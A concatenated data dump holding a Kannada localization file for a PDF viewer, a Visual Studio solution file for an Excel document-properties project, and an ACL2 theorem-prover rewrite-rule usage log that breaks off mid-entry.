ಅಗಲ\npage_scale_fit=ಪುಟದ ಸರಿಹೊಂದಿಕೆ\npage_scale_auto=ಸ್ವಯಂಚಾಲಿತ ಗಾತ್ರಬದಲಾವಣೆ\npage_scale_actual=ನಿಜವಾದ ಗಾತ್ರ\n# LOCALIZATION NOTE (page_scale_percent): \"{{scale}}\" will be replaced by a\n# numerical scale value.\npage_scale_percent={{scale}}%\n\n# Loading indicator messages\nloading_error_indicator=ದೋಷ\nloading_error=PDF ಅನ್ನು ಲೋಡ್ ಮಾಡುವಾಗ ಒಂದು ದೋಷ ಎದುರಾಗಿದೆ.\ninvalid_file_error=ಅಮಾನ್ಯವಾದ ಅಥವ ಹಾಳಾದ PDF ಕಡತ.\nmissing_file_error=PDF ಕಡತ ಇಲ್ಲ.\nunexpected_response_error=ಅನಿರೀಕ್ಷಿತವಾದ ಪೂರೈಕೆಗಣಕದ ಪ್ರತಿಕ್ರಿಯೆ.\n\n# LOCALIZATION NOTE (text_annotation_type.alt): This is used as a tooltip.\n# \"{{type}}\" will be replaced with an annotation type from a list defined in\n# the PDF spec (32000-1:2008 Table 169 – Annotation types).\n# Some common types are e.g.: \"Check\", \"Text\", \"Comment\", \"Note\"\ntext_annotation_type.alt=[{{type}} ಟಿಪ್ಪಣಿ]\npassword_label=PDF ಅನ್ನು ತೆರೆಯಲು ಗುಪ್ತಪದವನ್ನು ನಮೂದಿಸಿ.\npassword_invalid=ಅಮಾನ್ಯವಾದ ಗುಪ್ತಪದ, ದಯವಿಟ್ಟು ಇನ್ನೊಮ್ಮೆ ಪ್ರಯತ್ನಿಸಿ.\npassword_ok=OK\npassword_cancel=ರದ್ದು ಮಾಡು\n\nprinting_not_supported=ಎಚ್ಚರಿಕೆ: ಈ ಜಾಲವೀಕ್ಷಕದಲ್ಲಿ ಮುದ್ರಣಕ್ಕೆ ಸಂಪೂರ್ಣ ಬೆಂಬಲವಿಲ್ಲ.\nprinting_not_ready=ಎಚ್ಚರಿಕೆ: PDF ಕಡತವು ಮುದ್ರಿಸಲು ಸಂಪೂರ್ಣವಾಗಿ ಲೋಡ್ ಆಗಿಲ್ಲ.\nweb_fonts_disabled=ಜಾಲ ಅಕ್ಷರಶೈಲಿಯನ್ನು ನಿಷ್ಕ್ರಿಯಗೊಳಿಸಲಾಗಿದೆ: ಅಡಕಗೊಳಿಸಿದ PDF ಅಕ್ಷರಶೈಲಿಗಳನ್ನು ಬಳಸಲು ಸಾಧ್ಯವಾಗಿಲ್ಲ.\ndocument_colors_disabled=PDF ದಸ್ತಾವೇಜುಗಳು ತಮ್ಮದೆ ಆದ ಬಣ್ಣಗಳನ್ನು ಬಳಸಲು ಅನುಮತಿ ಇರುವುದಿಲ್ಲ: 'ಪುಟಗಳು ತಮ್ಮದೆ ಆದ ಬಣ್ಣವನ್ನು ಆಯ್ಕೆ ಮಾಡಲು ಅನುಮತಿಸು' ಅನ್ನು ಜಾಲವೀಕ್ಷಕದಲ್ಲಿ ನಿಷ್ಕ್ರಿಯಗೊಳಿಸಲಾಗಿರುತ್ತದೆ.\n"} +{"text": "\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 2012\r\nProject(\"{F184B08F-C81C-45F6-A57F-5ABD9991F28F}\") = \"SetExcelDocumentProperties\", \"SetExcelDocumentProperties.vbproj\", \"{0B35862E-90B7-485D-83BD-9FAA688A5303}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{0B35862E-90B7-485D-83BD-9FAA688A5303}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{0B35862E-90B7-485D-83BD-9FAA688A5303}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{0B35862E-90B7-485D-83BD-9FAA688A5303}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{0B35862E-90B7-485D-83BD-9FAA688A5303}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n"} +{"text": "(STD::DEFLIST-LOCAL-BOOLEANP-ELEMENT-THM)\n(STD::DEFLIST-LOCAL-ELEMENTP-OF-NIL-THM)\n(VL::VL-MAYBE-INTEGER-LISTP)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-CONS)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-CDR-WHEN-VL-MAYBE-INTEGER-LISTP)\n(VL::VL-MAYBE-INTEGER-LISTP-WHEN-NOT-CONSP)\n(VL::MAYBE-INTEGERP-OF-CAR-WHEN-VL-MAYBE-INTEGER-LISTP)\n(VL::TRUE-LISTP-WHEN-VL-MAYBE-INTEGER-LISTP)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-LIST-FIX)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-SFIX)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-INSERT)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-DELETE)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-MERGESORT)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-UNION)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-INTERSECT-1)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-INTERSECT-2)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-DIFFERENCE)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-DUPLICATED-MEMBERS)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-REV)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-APPEND)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-RCONS)\n(VL::MAYBE-INTEGERP-WHEN-MEMBER-EQUAL-OF-VL-MAYBE-INTEGER-LISTP)\n(VL::VL-MAYBE-INTEGER-LISTP-WHEN-SUBSETP-EQUAL)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-SET-DIFFERENCE-EQUAL)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-INTERSECTION-EQUAL-1)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-INTERSECTION-EQUAL-2)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-UNION-EQUAL)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-TAKE)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-REPEAT)\n(VL::MAYBE-INTEGERP-OF-NTH-WHEN-VL-MAYBE-INTEGER-LISTP)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-UPDATE-NTH)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-BUTLAST)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-NTHCDR)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-LAST)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-REMOVE)\n(VL::VL-MAYBE-INTEGER-LISTP-OF-REVAPPEND)\n(VL::INTEGER-LISTP-WHEN-NO-NILS-IN-VL-MAYBE-INTEGER-LISTP\n (829 23\n (:REWRITE MAYBE-INTEGERP-WHEN-INTEGERP))\n (558 22\n (:REWRITE VL::MAYBE-INTEGERP-OF-CAR-WHEN-VL-MAYBE-INTEGER-LISTP))\n (426 11 (:REWRITE VL::INTEGERP-WHEN-NATP))\n (336\n 27\n (:REWRITE VL::VL-MAYBE-INTEGER-LISTP-OF-CDR-WHEN-VL-MAYBE-INTEGER-LISTP))\n (209 29\n (:REWRITE INTEGERP-WHEN-MEMBER-EQUAL-OF-INTEGER-LISTP))\n (170 101\n (:REWRITE VL::VL-MAYBE-INTEGER-LISTP-WHEN-SUBSETP-EQUAL))\n (161 17\n (:REWRITE INTEGERP-OF-CAR-WHEN-NAT-LISTP))\n (158 49\n (:REWRITE VL::VL-MAYBE-INTEGER-LISTP-WHEN-NOT-CONSP))\n (148 11 (:REWRITE VL::NATP-WHEN-POSP))\n (144 44\n (:REWRITE VL::MEMBER-EQUAL-WHEN-MEMBER-EQUAL-OF-CDR-UNDER-IFF))\n (120 10\n (:REWRITE VL::NATP-OF-CAR-WHEN-NAT-LISTP))\n (112 112\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-CONS-LISTP))\n (112 112\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-ATOM-LISTP))\n (86 20 (:REWRITE SUBSETP-WHEN-ATOM-RIGHT))\n (81 9\n (:REWRITE SUBSETP-IMPLIES-SUBSETP-CDR))\n (70 10\n (:REWRITE NATP-OF-CAR-WHEN-NAT-LISTP))\n (66 66\n (:REWRITE NAT-LISTP-WHEN-SUBSETP-EQUAL))\n (65 65 (:REWRITE DEFAULT-CDR))\n (60 10\n (:REWRITE VL::POSP-OF-CAR-WHEN-POS-LISTP))\n (60 10\n (:REWRITE VL::NAT-LISTP-WHEN-NO-NILS-IN-VL-MAYBE-NAT-LISTP))\n (55 16\n (:REWRITE INTEGER-LISTP-WHEN-NOT-CONSP))\n (44 44\n (:REWRITE MEMBER-EQUAL-WHEN-ALL-EQUALP))\n (42 6\n (:REWRITE NAT-LISTP-OF-CDR-WHEN-NAT-LISTP))\n (36 36 (:REWRITE SUBSETP-TRANS2))\n (36 36 (:REWRITE SUBSETP-TRANS))\n (33 33 (:TYPE-PRESCRIPTION NATP))\n (33 33 (:REWRITE SUBSETP-MEMBER . 2))\n (33 33 (:REWRITE SUBSETP-MEMBER . 1))\n (33 33\n (:REWRITE NAT-LISTP-WHEN-UNSIGNED-BYTE-LISTP))\n (33 33 (:REWRITE NAT-LISTP-WHEN-NOT-CONSP))\n (25 25 (:REWRITE DEFAULT-CAR))\n (25 25 (:REWRITE CAR-WHEN-ALL-EQUALP))\n (23 8 (:REWRITE MEMBER-WHEN-ATOM))\n (22 22 (:TYPE-PRESCRIPTION POSP))\n (22 22\n (:REWRITE VL::POSP-WHEN-MEMBER-EQUAL-OF-POS-LISTP))\n (22 22\n (:REWRITE VL::NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (22 22\n (:REWRITE NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (22 11 (:REWRITE NATP-POSP))\n (20 20\n (:REWRITE VL::VL-MAYBE-NAT-LISTP-WHEN-SUBSETP-EQUAL))\n (20 20 (:REWRITE SUBSETP-WHEN-ATOM-LEFT))\n (20 20\n (:REWRITE VL::POS-LISTP-WHEN-SUBSETP-EQUAL))\n (20 20\n (:REWRITE VL::NAT-LISTP-WHEN-SUBSETP-EQUAL))\n (20 4\n (:REWRITE INTEGER-LISTP-OF-CDR-WHEN-INTEGER-LISTP))\n (19 1 (:REWRITE SUBSETP-OF-CONS))\n (13 13 (:REWRITE CONSP-BY-LEN))\n (11 11 (:REWRITE POSP-RW))\n (11 11 (:REWRITE NATP-RW))\n (10 10\n (:REWRITE VL::VL-MAYBE-NAT-LISTP-WHEN-NOT-CONSP))\n (10 10 (:REWRITE SUBSETP-MEMBER . 4))\n (10 10\n (:REWRITE VL::POS-LISTP-WHEN-NOT-CONSP))\n (10 10\n (:REWRITE VL::NAT-LISTP-WHEN-NOT-CONSP))\n (10 10\n (:REWRITE INTEGERP-OF-CAR-WHEN-INTEGER-LISTP))\n (10 10 (:REWRITE FN-CHECK-DEF-FORMALS))\n (2 2 (:REWRITE CONSP-OF-CDR-BY-LEN))\n (2 2 (:DEFINITION NULL))\n (1 1 (:REWRITE CDR-CONS)))\n(VL::VL-MATCH-CONTIGUOUS-INDICES\n (69 12 (:REWRITE VL::INTEGERP-WHEN-NATP))\n (32 3 (:REWRITE VL::NATP-WHEN-POSP))\n (30 5 (:REWRITE SET::DOUBLE-CONTAINMENT))\n (24 24\n (:REWRITE INTEGERP-WHEN-MEMBER-EQUAL-OF-INTEGER-LISTP))\n (19 1\n (:REWRITE MAYBE-INTEGERP-WHEN-INTEGERP))\n (18 18\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-CONS-LISTP))\n (18 18\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-ATOM-LISTP))\n (13 13 (:TYPE-PRESCRIPTION NATP))\n (12 12 (:REWRITE DEFAULT-+-2))\n (12 12 (:REWRITE DEFAULT-+-1))\n (11 3 (:REWRITE POSP-RW))\n (11 3 (:REWRITE NATP-RW))\n (10 10 (:TYPE-PRESCRIPTION SET::SETP-TYPE))\n (10 5 (:REWRITE SET::NONEMPTY-MEANS-SET))\n (10 2 (:REWRITE LEN-WHEN-ATOM))\n (9\n 2\n (:REWRITE VL::MAYBE-INTEGERP-WHEN-MEMBER-EQUAL-OF-VL-MAYBE-INTEGER-LISTP))\n (8 1\n (:REWRITE VL::VL-MAYBE-INTEGER-LISTP-WHEN-NOT-CONSP))\n (6 6 (:TYPE-PRESCRIPTION POSP))\n (6 6\n (:REWRITE VL::POSP-WHEN-MEMBER-EQUAL-OF-POS-LISTP))\n (6 6\n (:REWRITE VL::NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (6 6\n (:REWRITE NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (6 3 (:REWRITE NATP-POSP))\n (5 5 (:TYPE-PRESCRIPTION SET::EMPTY-TYPE))\n (5 5 (:REWRITE SET::IN-SET))\n (5 5 (:REWRITE EQUAL-CONSTANT-+))\n (5 5 (:REWRITE DEFAULT-CAR))\n (5 5 (:REWRITE CAR-WHEN-ALL-EQUALP))\n (5 5 (:META CANCEL_TIMES-EQUAL-CORRECT))\n (5 5 (:META CANCEL_PLUS-EQUAL-CORRECT))\n (3 3\n (:TYPE-PRESCRIPTION TRUE-LISTP-MEMBER-EQUAL))\n (3 3 (:TYPE-PRESCRIPTION TRUE-LISTP))\n (3 3 (:REWRITE CONSP-BY-LEN))\n (2 2 (:REWRITE DEFAULT-CDR))\n (2 1\n (:REWRITE VL::MEMBER-EQUAL-WHEN-MEMBER-EQUAL-OF-CDR-UNDER-IFF))\n (1 1 (:REWRITE SUBSETP-MEMBER . 2))\n (1 1 (:REWRITE SUBSETP-MEMBER . 1))\n (1 1\n (:REWRITE MEMBER-EQUAL-WHEN-ALL-EQUALP))\n (1 1 (:REWRITE CONSP-OF-CDR-BY-LEN)))\n(VL::MAYBE-INTEGERP-OF-VL-MATCH-CONTIGUOUS-INDICES.RANGE-END\n (144 15 (:REWRITE VL::INTEGERP-WHEN-NATP))\n (72 7 (:REWRITE VL::NATP-WHEN-POSP))\n (58 4\n (:REWRITE MAYBE-INTEGERP-WHEN-INTEGERP))\n (30 30\n (:REWRITE INTEGERP-WHEN-MEMBER-EQUAL-OF-INTEGER-LISTP))\n (29 29 (:TYPE-PRESCRIPTION NATP))\n (29\n 8\n (:REWRITE VL::MAYBE-INTEGERP-WHEN-MEMBER-EQUAL-OF-VL-MAYBE-INTEGER-LISTP))\n (24 3\n (:REWRITE VL::VL-MAYBE-INTEGER-LISTP-WHEN-NOT-CONSP))\n (23 7 (:REWRITE POSP-RW))\n (23 7 (:REWRITE NATP-RW))\n (14 14 (:TYPE-PRESCRIPTION POSP))\n (14 14\n (:REWRITE VL::POSP-WHEN-MEMBER-EQUAL-OF-POS-LISTP))\n (14 14\n (:REWRITE VL::NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (14 14\n (:REWRITE NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (14 7 (:REWRITE NATP-POSP))\n (12 12\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-CONS-LISTP))\n (12 12\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-ATOM-LISTP))\n (12 2 (:REWRITE SET::DOUBLE-CONTAINMENT))\n (10 10 (:REWRITE DEFAULT-+-2))\n (10 10 (:REWRITE DEFAULT-+-1))\n (9 9\n (:TYPE-PRESCRIPTION TRUE-LISTP-MEMBER-EQUAL))\n (6 3\n (:REWRITE VL::MEMBER-EQUAL-WHEN-MEMBER-EQUAL-OF-CDR-UNDER-IFF))\n (4 4 (:TYPE-PRESCRIPTION SET::SETP-TYPE))\n (4 4 (:REWRITE DEFAULT-CAR))\n (4 4 (:REWRITE CAR-WHEN-ALL-EQUALP))\n (4 2 (:REWRITE SET::NONEMPTY-MEANS-SET))\n (3 3 (:TYPE-PRESCRIPTION TRUE-LISTP))\n (3 3 (:REWRITE SUBSETP-MEMBER . 2))\n (3 3 (:REWRITE SUBSETP-MEMBER . 1))\n (3 3\n (:REWRITE MEMBER-EQUAL-WHEN-ALL-EQUALP))\n (3 3 (:REWRITE CONSP-BY-LEN))\n (2 2 (:TYPE-PRESCRIPTION SET::EMPTY-TYPE))\n (2 2 (:REWRITE SET::IN-SET))\n (2 2 (:REWRITE EQUAL-CONSTANT-+))\n (2 2 (:META CANCEL_TIMES-EQUAL-CORRECT))\n (2 2 (:META CANCEL_PLUS-EQUAL-CORRECT))\n (1 1 (:REWRITE DEFAULT-CDR)))\n(VL::VL-MAYBE-INTEGER-LISTP-OF-VL-MATCH-CONTIGUOUS-INDICES.REST\n (128 14 (:REWRITE VL::INTEGERP-WHEN-NATP))\n (64 6 (:REWRITE VL::NATP-WHEN-POSP))\n (39 3\n (:REWRITE MAYBE-INTEGERP-WHEN-INTEGERP))\n (32 4\n (:REWRITE VL::VL-MAYBE-INTEGER-LISTP-WHEN-NOT-CONSP))\n (28 28\n (:REWRITE INTEGERP-WHEN-MEMBER-EQUAL-OF-INTEGER-LISTP))\n (26 26 (:TYPE-PRESCRIPTION NATP))\n (22 22\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-CONS-LISTP))\n (22 22\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-ATOM-LISTP))\n (22 6 (:REWRITE POSP-RW))\n (22 6 (:REWRITE NATP-RW))\n (22 3 (:REWRITE SUBSETP-WHEN-ATOM-LEFT))\n (20\n 6\n (:REWRITE VL::MAYBE-INTEGERP-WHEN-MEMBER-EQUAL-OF-VL-MAYBE-INTEGER-LISTP))\n (12 12 (:TYPE-PRESCRIPTION POSP))\n (12 12\n (:REWRITE VL::POSP-WHEN-MEMBER-EQUAL-OF-POS-LISTP))\n (12 12\n (:REWRITE VL::NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (12 12\n (:REWRITE NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (12 6 (:REWRITE NATP-POSP))\n (12 2 (:REWRITE SET::DOUBLE-CONTAINMENT))\n (10 10 (:REWRITE DEFAULT-+-2))\n (10 10 (:REWRITE DEFAULT-+-1))\n (8 3 (:REWRITE SUBSETP-WHEN-ATOM-RIGHT))\n (6 6\n (:TYPE-PRESCRIPTION TRUE-LISTP-MEMBER-EQUAL))\n (6 6 (:TYPE-PRESCRIPTION TRUE-LISTP))\n (6 6 (:REWRITE SUBSETP-TRANS2))\n (6 6 (:REWRITE SUBSETP-TRANS))\n (6 6 (:REWRITE CONSP-BY-LEN))\n (4 4 (:TYPE-PRESCRIPTION SET::SETP-TYPE))\n (4 4 (:REWRITE DEFAULT-CAR))\n (4 4 (:REWRITE CAR-WHEN-ALL-EQUALP))\n (4 2 (:REWRITE SET::NONEMPTY-MEANS-SET))\n (4 2\n (:REWRITE VL::MEMBER-EQUAL-WHEN-MEMBER-EQUAL-OF-CDR-UNDER-IFF))\n (2 2 (:TYPE-PRESCRIPTION SET::EMPTY-TYPE))\n (2 2 (:REWRITE SUBSETP-MEMBER . 2))\n (2 2 (:REWRITE SUBSETP-MEMBER . 1))\n (2 2\n (:REWRITE MEMBER-EQUAL-WHEN-ALL-EQUALP))\n (2 2 (:REWRITE SET::IN-SET))\n (2 2 (:REWRITE EQUAL-CONSTANT-+))\n (2 2 (:META CANCEL_TIMES-EQUAL-CORRECT))\n (2 2 (:META CANCEL_PLUS-EQUAL-CORRECT))\n (1 1 (:REWRITE DEFAULT-CDR)))\n(VL::LEN-OF-VL-MATCH-CONTIGUOUS-INDICES\n (736 91 (:REWRITE VL::INTEGERP-WHEN-NATP))\n (590 9\n (:REWRITE LOWER-BOUND-OF-LEN-WHEN-SUBLISTP))\n (451 9 (:REWRITE SUBLISTP-WHEN-PREFIXP))\n (368 31 (:REWRITE VL::NATP-WHEN-POSP))\n (267 18\n (:REWRITE PREFIXP-WHEN-EQUAL-LENGTHS))\n (227 53 (:REWRITE SET::DOUBLE-CONTAINMENT))\n (182 182\n (:REWRITE INTEGERP-WHEN-MEMBER-EQUAL-OF-INTEGER-LISTP))\n (176 176\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-CONS-LISTP))\n (176 176\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-ATOM-LISTP))\n (155 131 (:REWRITE DEFAULT-+-1))\n (153 153 (:TYPE-PRESCRIPTION NATP))\n (151 31 (:REWRITE POSP-RW))\n (151 31 (:REWRITE NATP-RW))\n (144 131 (:REWRITE DEFAULT-+-2))\n (117 9 (:REWRITE LEN-WHEN-PREFIXP))\n (87 87 (:REWRITE CONSP-BY-LEN))\n (81 18\n (:REWRITE PREFIXP-WHEN-NOT-CONSP-RIGHT))\n (72 72 (:TYPE-PRESCRIPTION SET::SETP-TYPE))\n (72 72\n (:LINEAR LOWER-BOUND-OF-LEN-WHEN-SUBLISTP))\n (72 72\n (:LINEAR LISTPOS-UPPER-BOUND-STRONG-2))\n (72 72 (:LINEAR LEN-WHEN-PREFIXP))\n (72 36 (:REWRITE SET::NONEMPTY-MEANS-SET))\n (72 9 (:REWRITE SUBLISTP-WHEN-ATOM-RIGHT))\n (62 62 (:TYPE-PRESCRIPTION POSP))\n (62 62\n (:REWRITE VL::POSP-WHEN-MEMBER-EQUAL-OF-POS-LISTP))\n (62 62\n (:REWRITE VL::NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (62 62\n (:REWRITE NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (62 31 (:REWRITE NATP-POSP))\n (54 54 (:META CANCEL_TIMES-EQUAL-CORRECT))\n (42 6\n (:LINEAR LOWER-BOUND-OF-CAR-WHEN-NAT-LISTP))\n (42 3\n (:REWRITE TRUE-LISTP-WHEN-STRING-LISTP-REWRITE))\n (40 18\n (:REWRITE PREFIXP-WHEN-NOT-CONSP-LEFT))\n (39 39 (:REWRITE DEFAULT-CAR))\n (39 39 (:REWRITE CAR-WHEN-ALL-EQUALP))\n (39 3\n (:REWRITE TRUE-LISTP-WHEN-SYMBOL-LISTP-REWRITE))\n (38 19 (:REWRITE DEFAULT-<-2))\n (38 19 (:REWRITE DEFAULT-<-1))\n (36 36 (:TYPE-PRESCRIPTION PREFIXP))\n (36 36 (:TYPE-PRESCRIPTION SET::EMPTY-TYPE))\n (36 36\n (:REWRITE VL::PREFIXP-WHEN-MEMBER-EQUAL-OF-PREFIX-OF-EACHP))\n (36 36 (:REWRITE SET::IN-SET))\n (36 36 (:LINEAR LEQ-POSITION-EQUAL-LEN))\n (36 36 (:LINEAR INDEX-OF-<-LEN))\n (36 36\n (:LINEAR STR::COUNT-LEADING-CHARSET-LEN))\n (36 12 (:REWRITE FOLD-CONSTS-IN-+))\n (36 3\n (:REWRITE TRUE-LISTP-WHEN-CHARACTER-LISTP-REWRITE))\n (32 32 (:REWRITE EQUAL-CONSTANT-+))\n (31 9 (:REWRITE SUBLISTP-WHEN-ATOM-LEFT))\n (26 26 (:REWRITE DEFAULT-CDR))\n (24 3 (:REWRITE TRUE-LISTP-WHEN-ATOM))\n (23 2\n (:REWRITE RATIONALP-IMPLIES-ACL2-NUMBERP))\n (19 19 (:META CANCEL_PLUS-LESSP-CORRECT))\n (19 1\n (:REWRITE VL::RATIONALP-WHEN-INTEGERP))\n (18 18 (:TYPE-PRESCRIPTION SUBLISTP))\n (18 18\n (:REWRITE VL::TRANSITIVITY-OF-PREFIXP))\n (18 18 (:REWRITE PREFIXP-TRANSITIVE . 2))\n (18 18 (:REWRITE PREFIXP-TRANSITIVE . 1))\n (18 18\n (:REWRITE PREFIXP-ONE-WAY-OR-ANOTHER . 2))\n (18 18\n (:REWRITE PREFIXP-ONE-WAY-OR-ANOTHER . 1))\n (18 3\n (:REWRITE SET::SETS-ARE-TRUE-LISTS-CHEAP))\n (12 12\n (:REWRITE NAT-LISTP-WHEN-SUBSETP-EQUAL))\n (12 3\n (:REWRITE VL::STRING-LISTP-WHEN-NO-NILS-IN-VL-MAYBE-STRING-LISTP))\n (9 9 (:REWRITE SUBLISTP-COMPLETE))\n (6 6\n (:REWRITE VL::TRUE-LISTP-WHEN-MEMBER-EQUAL-OF-TRUE-LIST-LISTP))\n (6 6\n (:REWRITE SYMBOL-LISTP-WHEN-SUBSETP-EQUAL))\n (6 6\n (:REWRITE VL::SYMBOL-LISTP-WHEN-MEMBER-EQUAL-OF-SYMBOL-LIST-LISTP))\n (6 6\n (:REWRITE STRING-LISTP-WHEN-SUBSETP-EQUAL))\n (6 6\n (:REWRITE VL::STRING-LISTP-WHEN-MEMBER-EQUAL-OF-STRING-LIST-LISTP))\n (6 6\n (:REWRITE NAT-LISTP-WHEN-UNSIGNED-BYTE-LISTP))\n (6 6 (:REWRITE NAT-LISTP-WHEN-NOT-CONSP))\n (6 6 (:REWRITE CONSP-OF-CDR-BY-LEN))\n (6 6\n (:REWRITE CHARACTER-LISTP-WHEN-SUBSETP-EQUAL))\n (6 3\n (:TYPE-PRESCRIPTION TRUE-LISTP-MEMBER-EQUAL))\n (6 3\n (:REWRITE SYMBOL-LISTP-WHEN-BOOLEAN-LISTP))\n (6 3\n (:REWRITE STR::CHARACTER-LISTP-WHEN-OCTAL-DIGIT-LISTP))\n (6 3\n (:REWRITE STR::CHARACTER-LISTP-WHEN-HEX-DIGIT-LISTP))\n (6 3\n (:REWRITE STR::CHARACTER-LISTP-WHEN-DIGIT-LISTP))\n (4 4\n (:REWRITE ACL2-NUMBERP-WHEN-MEMBER-EQUAL-OF-ACL2-NUMBER-LISTP))\n (3 3\n (:TYPE-PRESCRIPTION CONSP-MEMBER-EQUAL))\n (3 3\n (:REWRITE TRUE-LISTP-WHEN-UNSIGNED-BYTE-LISTP))\n (3 3\n (:REWRITE TRUE-LISTP-WHEN-SIGNED-BYTE-LISTP))\n (3 3\n (:REWRITE VL::SYMBOL-LISTP-WHEN-SUBSETP-EQUAL-OF-SYMBOL-LISTP\n . 2))\n (3 3\n (:REWRITE VL::SYMBOL-LISTP-WHEN-SUBSETP-EQUAL-OF-SYMBOL-LISTP\n . 1))\n (3 3\n (:REWRITE SYMBOL-LISTP-WHEN-NOT-CONSP))\n (3 3\n (:REWRITE VL::STRING-LISTP-WHEN-SUBSETP-EQUAL-OF-STRING-LISTP\n . 2))\n (3 3\n (:REWRITE VL::STRING-LISTP-WHEN-SUBSETP-EQUAL-OF-STRING-LISTP\n . 1))\n (3 3\n (:REWRITE STRING-LISTP-WHEN-NOT-CONSP))\n (3 3 (:REWRITE FN-CHECK-DEF-FORMALS))\n (3 3\n (:REWRITE CHARACTER-LISTP-WHEN-NOT-CONSP))\n (2 2\n (:REWRITE RATIONALP-WHEN-MEMBER-EQUAL-OF-RATIONAL-LISTP)))\n(VL::VL-MATCH-CONTIGUOUS-INDICES-FAILS-ON-NIL)\n(VL::VL-MATCH-CONTIGUOUS-INDICES-MONOTONIC-ON-SUCCESS\n (368 38 (:REWRITE VL::INTEGERP-WHEN-NATP))\n (184 18 (:REWRITE VL::NATP-WHEN-POSP))\n (132 6\n (:REWRITE RATIONALP-IMPLIES-ACL2-NUMBERP))\n (114 6\n (:REWRITE VL::RATIONALP-WHEN-INTEGERP))\n (101 5 (:REWRITE DEFAULT-<-2))\n (76 76\n (:REWRITE INTEGERP-WHEN-MEMBER-EQUAL-OF-INTEGER-LISTP))\n (75 15 (:REWRITE SET::DOUBLE-CONTAINMENT))\n (74 74 (:TYPE-PRESCRIPTION NATP))\n (58 18 (:REWRITE POSP-RW))\n (58 18 (:REWRITE NATP-RW))\n (53 5 (:REWRITE DEFAULT-<-1))\n (38 38 (:REWRITE DEFAULT-+-2))\n (38 38 (:REWRITE DEFAULT-+-1))\n (38 2\n (:REWRITE MAYBE-INTEGERP-WHEN-INTEGERP))\n (36 36 (:TYPE-PRESCRIPTION POSP))\n (36 36\n (:REWRITE VL::POSP-WHEN-MEMBER-EQUAL-OF-POS-LISTP))\n (36 36\n (:REWRITE VL::NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (36 36\n (:REWRITE NATP-WHEN-MEMBER-EQUAL-OF-NAT-LISTP))\n (36 18 (:REWRITE NATP-POSP))\n (32 4\n (:REWRITE VL::VL-MAYBE-INTEGER-LISTP-WHEN-NOT-CONSP))\n (26 26\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-CONS-LISTP))\n (26 26\n (:REWRITE CONSP-WHEN-MEMBER-EQUAL-OF-ATOM-LISTP))\n (24 24 (:TYPE-PRESCRIPTION SET::SETP-TYPE))\n (24 12 (:REWRITE SET::NONEMPTY-MEANS-SET))\n (18\n 4\n (:REWRITE VL::MAYBE-INTEGERP-WHEN-MEMBER-EQUAL-OF-VL-MAYBE-INTEGER-LISTP))\n (15 15 (:META CANCEL_TIMES-EQUAL-CORRECT))\n (15 15 (:META CANCEL_PLUS-EQUAL-CORRECT))\n (13 13 (:REWRITE DEFAULT-CAR))\n (13 13 (:REWRITE CAR-WHEN-ALL-EQUALP))\n (12 12 (:TYPE-PRESCRIPTION SET::EMPTY-TYPE))\n (12 12\n (:REWRITE RATIONALP-WHEN-MEMBER-EQUAL-OF-RATIONAL-LISTP))\n (12 12 (:REWRITE 